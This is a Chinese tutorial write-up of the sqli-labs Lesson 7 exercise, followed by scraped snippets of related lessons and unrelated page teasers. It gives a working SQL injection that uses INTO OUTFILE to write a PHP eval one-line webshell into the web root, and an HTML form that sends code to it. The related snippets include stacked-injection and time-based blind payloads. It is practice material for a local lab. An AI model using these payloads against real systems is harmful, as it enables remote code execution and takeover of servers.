【sqli-labs】 less7 GET - Dump into outfile - String (导出文件GET字符型注入)
使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径

添加单引号,发现错误被屏蔽

对应的SQL语句应为
select ... from ... where xx=(('')) ...

字段还是3个

在数据库中执行测试,看是否能写入成功
SELECT * FROM users WHERE id=(('')) UNION SELECT 1,2,'' into outfile 'D:\phpStudy\PHPTutorial\WWW\1.php'#')) LIMIT 0,1

修改my.ini
secure-file-priv=""
重启MYSQL,测试写入,注意/需要转义
select * from users WHERE id=(('a')) union select 1,2,'' into outfile 'D://phpStudy//PHPTutorial//WWW//1.php'#')) LIMIT 0,1



构造GET请求,写入一句话木马
<?php @eval($_POST["c"]);?>
http://localhost/sqli/Less-7/?id=a')) union select 1,2,'<?php @eval($_POST["c"]);?>' into outfile 'D://phpStudy//PHPTutorial//WWW//mm.php'%23

【注】这个并不是MYSQL执行出错,查看源码可知
row为空就会显示该错误

访问,文件成功写入

新建一个本地HTML
<html>
<body>
<form action="http://localhost/mm.php" method="post">
<input type="text" name="c" value="phpinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>


【sqli-labs】 less7 GET - Dump into outfile - String (导出文件GET字符型注入)的更多相关文章
- 【sqli-labs】 less5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/1 ...
- 【sqli-labs】 less6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
同less5 单引号改成双引号就行 http://localhost/sqli/Less-6/?id=a" union select 1,count(*),concat((select ta ...
- 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...
- 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...
- 【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面li ...
- 【sqli-labs】 less45 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)
和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_u ...
- 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)
盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...
- 【sqli-labs】 less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root' ...
- 【sqli-labs】 less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)
Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行 ...
随机推荐
- vue 底部bottomnav
<template> <div id="foot"> <div class="tabBar"> <div class= ...
- 【Codeforces 474D】Flowers
[链接] 我是链接,点我呀:) [题意] 让你吃东西 B食物一次必须要吃连续k个 但是对A食物没有要求 问你有多少种吃n个食物的方法(吃的序列) [题解] 设f[i]表示长度为i的吃的序列且符合要求的 ...
- hdu 4888 最大流给出行列和求矩阵
第一步,考虑如何求是否有解.使用网络流求解,每一行和每一列分别对应一个点,加上源点和汇点一共有N+M+2个点.有三类边: 1. 源点 -> 每一行对应的点,流量限制为该行的和 2. 每一行对应的 ...
- CODEVS——T 1049 棋盘染色
http://codevs.cn/problem/1049/ 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题解 查看运行结果 题目描述 Descr ...
- SpringMVC+security
转自:http://blog.csdn.net/bigshotzhang/article/details/12346979 下面我们将实现关于Spring Security3的一系列教程. 最终的目标 ...
- N天学习一个linux命令之sort
用途 对文本内容按行排序,输出排好序后的内容到标准输出流 用法 sort [OPTION]... [FILE]... sort [OPTION]... --files0-from=F 常用选项 -b, ...
- 怎样用Android Studio打多包名APK
问题:项目中不同的分发渠道可能须要打包多种APK(相同的代码),包名可能是不一样的,假设一个一个改动包名又一次编apk是非常麻烦,能够參考下列步骤在Android Studio上操纵Gradle来打包 ...
- Codeforces Round #305 (Div. 2) E题(数论+容斥原理)
E. Mike and Foam time limit per test 2 seconds memory limit per test 256 megabytes input standard in ...
- cat<<EOF获取标准输入到文件中
原文:http://blog.csdn.net/apache0554/article/details/45508631 ---------------------------------------- ...
- [RxJS] Get current value out of Subject (BehaviorSubject)
When you want to get the current value of a subject, you need to switch BehaviorSubject, it always e ...